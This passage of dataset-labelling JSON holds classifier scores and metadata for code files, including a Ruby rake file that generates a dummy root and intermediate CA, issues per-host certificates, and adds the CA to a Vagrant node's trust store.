"worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12514, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12514, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:11.339622+00:00", "scoring_key_slot": "primary", "dataset_uid": "56486530-3c45-41cb-896b-ef6287a152ba", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "24e5f6b4da38a142bee84c30e6bd96e61589fe2d75e0bb2342aacf77f135663c", "source_metadata": {"uuid": "56486530-3c45-41cb-896b-ef6287a152ba", "repo_name": "madhur/PortableJekyll", "relative_path": "ruby/lib/ruby/gems/2.0.0/gems/sass-3.2.12/lib/sass/tree/visitors/perform.rb", "category": "TOOL", "algo_rel_score": 0.7391008138656616, "quality_score": 5.921329021453857, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 40, "repo_created_at": "2014-06-08T18:54:15.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 383, "forks": 97, "issues": 11, "pull_requests": 2}, "file_meta": {"content_id": "c58c20f8d5cedf6bf212aa665af9ef05ff7fbd7c", "size_bytes": 14953, "file_timestamp": 1472385828, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "8b34f0d95b4fe7bcfb915e00bef183154f6ebfa3"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 40, "repo_created_at": "2014-06-08T18:54:15.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 383, "forks": 97, "issues": 11, "pull_requests": 2}, "file_meta": {"content_id": "c58c20f8d5cedf6bf212aa665af9ef05ff7fbd7c", "size_bytes": 14953, "file_timestamp": 1472385828, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "8b34f0d95b4fe7bcfb915e00bef183154f6ebfa3", "url": "https://github.com/madhur/PortableJekyll/blob/8b34f0d95b4fe7bcfb915e00bef183154f6ebfa3/ruby/lib/ruby/gems/2.0.0/gems/sass-3.2.12/lib/sass/tree/visitors/perform.rb"}, "gpt4o_tokens": 3806, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2387127365844457, "noise_severity": 0.005161464846290739, "missing_content_severity": 0.006306472373944082, "factual_density": 3.5593938080671057, "pretraining_utility": 0.5366267487937918, "math_density": 0.11057086917297063, "code_density": 3.9641155801550756, "reasoning_density": 1.3350605033313145, "education_level": 2.7502502900364427, "creative_writing_quality": -0.16852659148370908}, "score_applicability": {"education_level": 0.9989453234801812, "creative_writing_quality": 0.00040691911441803977}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/danieldreier/puppet-tsp/blob/f06b02b40d60fc451b8a47f043e387fdce789778/tasks/ca.rake", "id": "ruby-0-083e4e01dcbc9efcd29c1402e4ecde04", "text": "require 'fileutils'\nrequire 'certificate_authority'\nrequire 'rubygems'\n\nmodule CreateCA\n def write_cert(file, cert)\n File.open(file, 'w') do |phile|\n phile.write cert.to_pem\n end\n end\n\n def write_private(file, cert)\n File.open(file, 'w') do |phile|\n phile.write cert.key_material.private_key.to_pem\n end\n end\n\n def write_public(file, cert)\n File.open(file, 'w') do |phile|\n phile.write cert.key_material.public_key.to_pem\n end\n end\nend\n\nbegin\n Gem::Deprecate.skip = true if defined?(Gem::Deprecate)\nrescue LoadError => e\n p e\nend\n\n# Including the CreateCA module means you can call its methods directly,\n# so CreateCA::write_public becomes simply write_public, etc.\ninclude CreateCA\n@sslroot = \"src/secure/ssldata/files\"\nFileUtils::mkdir_p @sslroot\n\nnamespace :ca do\n task :init do\n FileUtils::mkdir_p \"#{@sslroot}\"\n\n File.open(\"ssl/serial\", File::RDWR|File::CREAT, 0644) {|f|\n @serial = f.read.chomp.to_i + 1\n }\n\n # Generate root_cert CA using example code at https://github.com/cchandler/certificate_authority\n puts \"Creating new root CA...\"\n root_cert = CertificateAuthority::Certificate.new\n root_cert.subject.common_name= \"Dummy CA Root Certificate\"\n root_cert.serial_number.number=@serial\n @serial = @serial + 1\n root_cert.key_material.generate_key\n root_cert.signing_entity = true\n signing_profile = {\"extensions\" => {\"keyUsage\" => {\"usage\" => [\"critical\", \"keyCertSign\"] }} }\n root_cert.sign!(signing_profile)\n\n # Create an intermediate_cert CA\n puts \"Creating new intermediate CA...\"\n intermediate_cert = CertificateAuthority::Certificate.new\n intermediate_cert.subject.common_name= \"Dummy Intermediate Certificate\"\n intermediate_cert.serial_number.number=@serial\n @serial = @serial + 1\n intermediate_cert.key_material.generate_key\n intermediate_cert.signing_entity = true\n intermediate_cert.parent = root_cert\n signing_profile = {\"extensions\" => {\"keyUsage\" => {\"usage\" => [\"critical\", \"keyCertSign\"] }} }\n intermediate_cert.sign!(signing_profile)\n puts \"Signed intermediate CA with root CA\"\n\n File.open(\"#{@sslroot}/serial\", File::RDWR|File::CREAT, 0644) {|f|\n f.write(\"#{@serial}\\n\")\n }\n\n cert_files = {\n root_cert => { cert: \"#{@sslroot}/root_ca.crt\",\n private_key: \"#{@sslroot}/root_ca-private.key\",\n public_key: \"#{@sslroot}/root_ca-public.key\"\n },\n intermediate_cert => { cert: \"#{@sslroot}/intermediate_ca.crt\",\n private_key: \"#{@sslroot}/intermediate_ca-private.key\",\n public_key: \"#{@sslroot}/intermediate_ca-public.key\"\n }\n }\n\n cert_files.each do |cert, files|\n write_cert(files[:cert], cert)\n write_private(files[:private_key], cert)\n write_public(files[:public_key], cert)\n end\n\n File.open(\"#{@sslroot}/ca-chain\", \"w\") do |file|\n file.write root_cert.to_pem\n file.write intermediate_cert.to_pem\n puts \"Created ca-chain as #{@sslroot}/ca-chain\"\n end\n end\n desc 'Create an SSL certificate for a given FQDN'\n task :cert, :fqdn do |t, args|\n common_name = args[:fqdn].to_s.chomp\n\n Rake::Task[\"ca:init\"].execute unless File.file?(\"#{@sslroot}/ca-chain\")\n\n puts \"Creating SSL certs for #{common_name}...\"\n\n PWD = Pathname(__FILE__).dirname\n\n def sslfile(name)\n PWD.join('..', @sslroot, name)\n end\n\n @ca_pem = sslfile('intermediate_ca.crt').read\n @issuer = OpenSSL::X509::Certificate.new(@ca_pem)\n ca = CertificateAuthority::Certificate.from_openssl(@issuer)\n\n @ca_private_key = sslfile('intermediate_ca-private.key').read\n ca.key_material.private_key = OpenSSL::PKey::RSA.new(@ca_private_key)\n\n File.open(\"#{@sslroot}/serial\", File::RDWR|File::CREAT, 0644) {|f|\n @serial = f.read.chomp.to_i + 1\n }\n\n plain_cert = CertificateAuthority::Certificate.new\n plain_cert.subject.common_name = common_name\n plain_cert.serial_number.number = @serial\n plain_cert.key_material.generate_key\n plain_cert.parent = ca\n plain_cert.sign!\n puts \"Signed certificate for #{common_name} with intermediate CA\"\n\n common_name.gsub!('*','wildcard') # avoid putting \"*\" in filenames\n File.open(\"#{@sslroot}/#{common_name}.crt\", \"w\") do |file|\n file.write plain_cert.to_pem\n puts \"Created #{@sslroot}/#{common_name}.crt\"\n end\n File.open(\"#{@sslroot}/#{common_name}-private.key\", \"w\") do |file|\n file.write plain_cert.key_material.private_key.to_pem\n puts \"Created #{@sslroot}/#{common_name}-private.key\"\n end\n File.open(\"#{@sslroot}/#{common_name}-public.key\", \"w\") do |file|\n file.write plain_cert.key_material.public_key.to_pem\n puts \"Created #{@sslroot}/#{common_name}-public.key\"\n end\n\n ca_chain = File.read(\"ssl/ca-chain\")\n File.open(\"#{@sslroot}/#{common_name}-chained.crt\", \"w\") do |file|\n file.write plain_cert.to_pem\n file.write ca_chain\n puts \"Created #{@sslroot}/#{common_name}-chained.crt\"\n end\n\n File.open(\"ssl/serial\", File::RDWR|File::CREAT, 0644) {|f|\n f.write(\"#{@serial}\\n\")\n }\n\n end\n desc 'Add CA certs to trust root on a vagrant node'\n task :trust, :node do |t, args|\n node = args[:node]\n system \"echo 'sudo cp /vagrant/#{@sslroot}/*ca.crt /usr/local/share/ca-certificates/ ; sudo /usr/sbin/update-ca-certificates' | vagrant ssh #{node}\"\n end\nend\n", "text_preview": "require 'fileutils' require 'certificate_authority' require 'rubygems' module CreateCA def write_cert(file, cert) File.open(file, 'w') do |phile| phile.write cert.to_pem end end def write_private(file, cert) File.open(file, 'w') do |phile| ", "input_sha256": "cf997d766d35de3c3a39a22037965bc55cf4f5c7f0726c40d0d8c5621aeccb19", "text_sha256": "083e4e01dcbc9efcd29c1402e4ecde046166fc1bb614e409cd0bf4aa7c4a4e71", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16080, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.860125274121036, "noise_severity": 0.02504102971418489, "missing_content_severity": 0.0048331305786683595, "factual_density": 3.2707312822925534, "pretraining_utility": 0.5067618421373212, "math_density": 0.20441351505358582, "code_density": 3.9037743676988286, "reasoning_density": 0.3035115514457813, "education_level": 2.7522993055946006, "creative_writing_quality": -0.24467206130699712}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.01368293339167248, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9894964860393932, "secondary": 0.9322612319437431, "tertiary": 0.9465390754828796, "structured_records": 0.06878337959074567, "procedural_steps": 0.17451288078957103, "worked_solution": 0.006553635594743929, "contextual_dialogue": 7.5773642734935195e-06, "content_quality": 0.5621446262484002, "noise_severity": 0.9791324752381793, "missing_content_severity": 0.995972391184443, "factual_density": 0.3922760685771276, "pretraining_utility": 0.4682952229706392, "math_density": 0.8296554041220118, "code_density": 0.9198119730823574, "reasoning_density": 0.7470737071285156, "education_level": 0.4322110079601909, "creative_writing_quality": 0.9988225098650013, "primary_topic": 0.9927725437741474, "secondary_topic": 0.9001405217401074}, "probability_margin": {"primary": 0.9831976844811512, "secondary": 0.9025203919875666, "tertiary": 0.921408775276798, "education_level": 0.17791879215949613, "creative_writing_quality": 0.9985217158493962, "primary_topic": 0.9903104015543045, "secondary_topic": 0.8582785410529579}, "raw_probabilities": {"primary": {"Academic Writing": 6.190209821523204e-05, "Content Listing": 3.5015001616068135e-05, "Creative Writing": 3.098235312233756e-05, "Customer Support Page": 2.642502647644752e-05, "Q&A Forum": 2.335461238753715e-05, "Discussion Thread": 1.687842947803998e-05, "Comment Section": 2.882018095453716e-05, "Missing Content": 3.639125122035664e-05, "Knowledge Article": 0.00023341331250082323, "Legal Notices": 5.1612368321397795e-05, "News Article": 1.0297145618089266e-05, "Organizational Announcement": 2.121644651105202e-05, "Nonfiction Writing": 2.32097121604057e-05, "Organizational About Page": 2.5589723089041265e-05, "Personal About Page": 2.3022680661998157e-05, "Personal Blog": 1.3085466670706257e-05, "Product Page": 1.305770481986047e-05, "Spam / Ads": 2.2449321821044963e-05, "Structured Data": 0.0006232082450685605, "Technical Writing": 0.9899341324544185, "Transcript / Interview": 2.4647281383982656e-05, "Tutorial / How-To Guide": 0.0067364479732672875, "User Reviews": 1.267685923296001e-05, "Other / Unknown": 0.001972164350983883}, "secondary": {"Academic Writing": 0.00033642243995797826, "Content Listing": 0.00018928672303857385, "Creative Writing": 0.00023092809794639666, "Customer Support Page": 0.00020220980938663312, "Q&A Forum": 0.00013538094908729237, "Discussion Thread": 8.119236152496119e-05, "Comment Section": 0.00022915897303088536, "Missing Content": 0.00034425548987828086, "Knowledge Article": 0.0018660731203019273, "Legal Notices": 0.0002546500984974875, "News Article": 0.0001398941648658905, "Organizational Announcement": 0.00014303258204519337, "Nonfiction Writing": 0.00014761508018676768, "Organizational About Page": 0.00016166058138346315, "Personal About Page": 0.00014802989741304206, "Personal Blog": 0.00012424048042924577, "Product Page": 8.487255820036969e-05, "Spam / Ads": 0.00014703327340953815, "Structured Data": 0.00501335393628509, "Technical Writing": 0.02213335446742567, "Transcript / Interview": 0.00016735835730330987, "Tutorial / How-To Guide": 0.03256328862518719, "User Reviews": 7.302732046109931e-05, "NONE": 0.9350836806127538}, "tertiary": {"Academic Writing": 0.0002250675447718134, "Content Listing": 0.00011646939846839241, "Creative Writing": 0.00015817231877585095, "Customer Support Page": 0.00014822066940528117, "Q&A Forum": 7.015682001401872e-05, "Discussion Thread": 5.145819837026887e-05, "Comment Section": 0.00015752313610802726, "Missing Content": 0.0002871923160221037, "Knowledge Article": 0.002463772134701961, "Legal Notices": 0.00029936844184022337, "News Article": 8.032043901987555e-05, "Organizational Announcement": 9.00291618099089e-05, "Nonfiction Writing": 0.00011290092320367398, "Organizational About Page": 0.00011686638508281862, "Personal About Page": 7.855958589513131e-05, "Personal Blog": 6.945041934426552e-05, "Product Page": 6.095841714699747e-05, "Spam / Ads": 0.0001162365430267075, "Structured Data": 0.004206501994589094, "Technical Writing": 0.014827009043031301, "Transcript / Interview": 9.631046741316367e-05, "Tutorial / How-To Guide": 0.027357838727628345, "User Reviews": 4.300290990448499e-05, "NONE": 0.9487666140044263}, "structured_records": {"false": 0.9312166204092543, "true": 0.06878337959074567}, "procedural_steps": {"false": 0.8254871192104289, "true": 0.17451288078957103}, "worked_solution": {"false": 0.993446364405256, "true": 0.006553635594743929}, "contextual_dialogue": {"false": 0.9999924226357265, "true": 7.5773642734935195e-06}, "content_quality": {"-2": 0.007354447408878776, "-1": 0.024643865698007694, "0": 0.2612995135677902, "1": 0.5139263120138454, "2": 0.1927758613114779}, "noise_severity": {"0": 0.978234418011265, "1": 0.019623483784469768, "2": 0.0013517108549126195, "3": 0.00044742517752096754, "4": 0.00034296217183174516}, "missing_content_severity": {"0": 0.9972789801070335, "1": 0.001233563182613999, "2": 0.0009853425651026627, "3": 0.0003795743151496974, "4": 0.00012253983009998556}, "factual_density": {"0": 0.007009852798435146, "1": 0.02287998315620157, "2": 0.12458603567750363, "3": 0.3834172856900943, "4": 0.46210684267776525}, "pretraining_utility": {"-2": 0.009347861253690545, "-1": 0.08067045299358333, "0": 0.3762574554007175, "1": 0.4613204430657317, "2": 0.07240378728627704}, "math_density": {"0": 0.8446040671649965, "1": 0.13319248753953628, "2": 0.00707853336369286, "3": 0.003435686940434441, "4": 0.011689224991340138}, "code_density": {"0": 0.00022551073777881463, "1": 0.000396288641340098, "2": 0.008131757244490303, "3": 0.077871208937055, "4": 0.9133752344393358}, "reasoning_density": {"0": 0.796575264288493, "1": 0.1301539619660267, "2": 0.052501216237549914, "3": 0.014723073027066316, "4": 0.006046484480863947}, "education_level": {"none": 0.0011205971610579691, "0": 0.0015818000800358336, "1": 0.0050951295492568435, "2": 0.3489237144739963, "3": 0.5268425066334924, "4": 0.11643625210216074}, "creative_writing_quality": {"not_applicable": 0.9990187582208344, "-2": 0.00011351412598683941, "-1": 0.00021347526932898007, "0": 0.0004970423714382357, "1": 0.00011399895226918143, "2": 4.3211060142255607e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.935128217170419e-05, "Art & Design": 3.85153207633303e-05, "Law & Crime": 0.00010710108446161937, "Education & Careers": 3.4536304508737096e-05, "Entertainment & Media": 2.3958147317129344e-05, "Fashion & Beauty": 2.25013063054634e-05, "Business, Economics & Finance": 5.68594521568342e-05, "Food & Dining": 2.256868067982908e-05, "Games & Gaming": 4.659980785133757e-05, "Electronics & Hardware": 0.00025714521049766446, "Health, Healthcare & Wellness": 3.0027116425389324e-05, "History & Geography": 3.7260864923704556e-05, "Home, Pets & Hobbies": 2.5646056707587612e-05, "Industry & Production": 3.933636749676949e-05, "Language, Literature & Philosophy": 3.525643658424548e-05, "Politics & Government": 3.078087407351852e-05, "Religion & Spirituality": 4.1480635068897754e-05, "Science, Mathematics & Engineering": 0.0023150177800469723, "Relationships & Community": 1.875173252271476e-05, "Software Usage & Applications": 0.0027401213054525234, "Programming & Software Engineering": 0.993050522859757, "Sports & Fitness": 4.8123656052392316e-05, "Vehicles & Transportation": 1.9769157957597177e-05, "Travel & Tourism": 4.01980650100525e-05, "Other / Uncovered Subject": 0.0008204128483371634, "Unknown / Insufficient Content": 5.815764686978611e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004728879053354349, "Art & Design": 0.0003182215502610808, "Law & Crime": 0.002589805049109751, "Education & Careers": 0.0002585269394133607, "Entertainment & Media": 0.00029363215834495336, "Fashion & Beauty": 0.0001740269686808421, "Business, Economics & Finance": 0.00046583514453073173, "Food & Dining": 0.00017486953178147147, "Games & Gaming": 0.0002457535683348297, "Electronics & Hardware": 0.0005296414044206344, "Health, Healthcare & Wellness": 0.0002484336713823617, "History & Geography": 0.0002238118574342891, "Home, Pets & Hobbies": 0.00016124507203999137, "Industry & Production": 0.00017651278747931204, "Language, Literature & Philosophy": 0.00016906494878320876, "Politics & Government": 0.0002340893444144144, "Religion & Spirituality": 0.0003037015434473866, "Science, Mathematics & Engineering": 0.008398129587829652, "Relationships & Community": 0.0001249007586726948, "Software Usage & Applications": 0.028010135638494315, "Programming & Software Engineering": 0.04570272985099153, "Sports & Fitness": 0.00021374828774167322, "Vehicles & Transportation": 9.487610172888214e-05, "Travel & Tourism": 0.00029874426204143384, "Other / Uncovered Subject": 0.006135405163356359, "NONE": 0.9039812709039494}}, "probabilities": {"primary": {"Academic Writing": 6.190209821523203e-05, "Content Listing": 3.501500161606813e-05, "Creative Writing": 3.098235312233755e-05, "Customer Support Page": 2.6425026476447515e-05, "Q&A Forum": 2.3354612387537144e-05, "Discussion Thread": 1.6878429478039978e-05, "Comment Section": 2.8820180954537154e-05, "Missing Content": 3.6391251220356635e-05, "Knowledge Article": 0.00023341331250082317, "Legal Notices": 5.161236832139778e-05, "News Article": 1.0297145618089264e-05, "Organizational Announcement": 2.1216446511052018e-05, "Nonfiction Writing": 2.3209712160405694e-05, "Organizational About Page": 2.558972308904126e-05, "Personal About Page": 2.302268066199815e-05, "Personal Blog": 1.3085466670706253e-05, "Product Page": 1.3057704819860467e-05, "Spam / Ads": 2.244932182104496e-05, "Structured Data": 0.0006232082450685604, "Technical Writing": 0.9899341324544183, "Transcript / Interview": 2.464728138398265e-05, "Tutorial / How-To Guide": 0.006736447973267286, "User Reviews": 1.2676859232960007e-05, "Other / Unknown": 0.0019721643509838824}, "secondary": {"Academic Writing": 0.00033642243995797826, "Content Listing": 0.00018928672303857385, "Creative Writing": 0.00023092809794639666, "Customer Support Page": 0.00020220980938663312, "Q&A Forum": 0.00013538094908729237, "Discussion Thread": 8.119236152496119e-05, "Comment Section": 0.00022915897303088536, "Missing Content": 0.00034425548987828086, "Knowledge Article": 0.0018660731203019273, "Legal Notices": 0.0002546500984974875, "News Article": 0.0001398941648658905, "Organizational Announcement": 0.00014303258204519337, "Nonfiction Writing": 0.00014761508018676768, "Organizational About Page": 0.00016166058138346315, "Personal About Page": 0.00014802989741304206, "Personal Blog": 0.00012424048042924577, "Product Page": 8.487255820036969e-05, "Spam / Ads": 0.00014703327340953815, "Structured Data": 0.00501335393628509, "Technical Writing": 0.02213335446742567, "Transcript / Interview": 0.00016735835730330987, "Tutorial / How-To Guide": 0.03256328862518719, "User Reviews": 7.302732046109931e-05, "NONE": 0.9350836806127538}, "tertiary": {"Academic Writing": 0.0002250675447718134, "Content Listing": 0.00011646939846839241, "Creative Writing": 0.00015817231877585095, "Customer Support Page": 0.00014822066940528117, "Q&A Forum": 7.015682001401872e-05, "Discussion Thread": 5.145819837026887e-05, "Comment Section": 0.00015752313610802726, "Missing Content": 0.0002871923160221037, "Knowledge Article": 0.002463772134701961, "Legal Notices": 0.00029936844184022337, "News Article": 8.032043901987555e-05, "Organizational Announcement": 9.00291618099089e-05, "Nonfiction Writing": 0.00011290092320367398, "Organizational About Page": 0.00011686638508281862, "Personal About Page": 7.855958589513131e-05, "Personal Blog": 6.945041934426552e-05, "Product Page": 6.095841714699747e-05, "Spam / Ads": 0.0001162365430267075, "Structured Data": 0.004206501994589094, "Technical Writing": 0.014827009043031301, "Transcript / Interview": 9.631046741316367e-05, "Tutorial / How-To Guide": 0.027357838727628345, "User Reviews": 4.300290990448499e-05, "NONE": 0.9487666140044263}, "structured_records": {"false": 0.9312166204092543, "true": 0.06878337959074567}, "procedural_steps": {"false": 0.8254871192104289, "true": 0.17451288078957103}, "worked_solution": {"false": 0.993446364405256, "true": 0.006553635594743929}, "contextual_dialogue": {"false": 0.9999924226357265, "true": 7.5773642734935195e-06}, "content_quality": {"-2": 0.007354447408878776, "-1": 0.024643865698007694, "0": 0.2612995135677902, "1": 0.5139263120138454, "2": 0.1927758613114779}, "noise_severity": {"0": 0.978234418011265, "1": 0.019623483784469768, "2": 0.0013517108549126195, "3": 0.00044742517752096754, "4": 0.00034296217183174516}, "missing_content_severity": {"0": 0.9972789801070336, "1": 0.0012335631826139992, "2": 0.000985342565102663, "3": 0.00037957431514969744, "4": 0.0001225398300999856}, "factual_density": {"0": 0.007009852798435147, "1": 0.022879983156201572, "2": 0.12458603567750365, "3": 0.38341728569009437, "4": 0.4621068426777653}, "pretraining_utility": {"-2": 0.009347861253690543, "-1": 0.08067045299358332, "0": 0.37625745540071737, "1": 0.4613204430657316, "2": 0.07240378728627703}, "math_density": {"0": 0.8446040671649963, "1": 0.13319248753953625, "2": 0.0070785333636928585, "3": 0.0034356869404344403, "4": 0.011689224991340137}, "code_density": {"0": 0.00022551073777881463, "1": 0.000396288641340098, "2": 0.008131757244490303, "3": 0.077871208937055, "4": 0.9133752344393358}, "reasoning_density": {"0": 0.7965752642884931, "1": 0.13015396196602672, "2": 0.05250121623754992, "3": 0.014723073027066318, "4": 0.006046484480863948}, "education_level": {"none": 0.0011205971610579691, "0": 0.0015818000800358336, "1": 0.0050951295492568435, "2": 0.3489237144739963, "3": 0.5268425066334924, "4": 0.11643625210216074}, "creative_writing_quality": {"not_applicable": 0.9990187582208345, "-2": 0.00011351412598683942, "-1": 0.0002134752693289801, "0": 0.0004970423714382358, "1": 0.00011399895226918144, "2": 4.321106014225561e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.935128217170419e-05, "Art & Design": 3.85153207633303e-05, "Law & Crime": 0.00010710108446161937, "Education & Careers": 3.4536304508737096e-05, "Entertainment & Media": 2.3958147317129344e-05, "Fashion & Beauty": 2.25013063054634e-05, "Business, Economics & Finance": 5.68594521568342e-05, "Food & Dining": 2.256868067982908e-05, "Games & Gaming": 4.659980785133757e-05, "Electronics & Hardware": 0.00025714521049766446, "Health, Healthcare & Wellness": 3.0027116425389324e-05, "History & Geography": 3.7260864923704556e-05, "Home, Pets & Hobbies": 2.5646056707587612e-05, "Industry & Production": 3.933636749676949e-05, "Language, Literature & Philosophy": 3.525643658424548e-05, "Politics & Government": 3.078087407351852e-05, "Religion & Spirituality": 4.1480635068897754e-05, "Science, Mathematics & Engineering": 0.0023150177800469723, "Relationships & Community": 1.875173252271476e-05, "Software Usage & Applications": 0.0027401213054525234, "Programming & Software Engineering": 0.993050522859757, "Sports & Fitness": 4.8123656052392316e-05, "Vehicles & Transportation": 1.9769157957597177e-05, "Travel & Tourism": 4.01980650100525e-05, "Other / Uncovered Subject": 0.0008204128483371634, "Unknown / Insufficient Content": 5.815764686978611e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004728879053354349, "Art & Design": 0.0003182215502610808, "Law & Crime": 0.002589805049109751, "Education & Careers": 0.0002585269394133607, "Entertainment & Media": 0.00029363215834495336, "Fashion & Beauty": 0.0001740269686808421, "Business, Economics & Finance": 0.00046583514453073173, "Food & Dining": 0.00017486953178147147, "Games & Gaming": 0.0002457535683348297, "Electronics & Hardware": 0.0005296414044206344, "Health, Healthcare & Wellness": 0.0002484336713823617, "History & Geography": 0.0002238118574342891, "Home, Pets & Hobbies": 0.00016124507203999137, "Industry & Production": 0.00017651278747931204, "Language, Literature & Philosophy": 0.00016906494878320876, "Politics & Government": 0.0002340893444144144, "Religion & Spirituality": 0.0003037015434473866, "Science, Mathematics & Engineering": 0.008398129587829652, "Relationships & Community": 0.0001249007586726948, "Software Usage & Applications": 0.028010135638494315, "Programming & Software Engineering": 0.04570272985099153, "Sports & Fitness": 0.00021374828774167322, "Vehicles & Transportation": 9.487610172888214e-05, "Travel & Tourism": 0.00029874426204143384, "Other / Uncovered Subject": 0.006135405163356359, "NONE": 0.9039812709039494}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 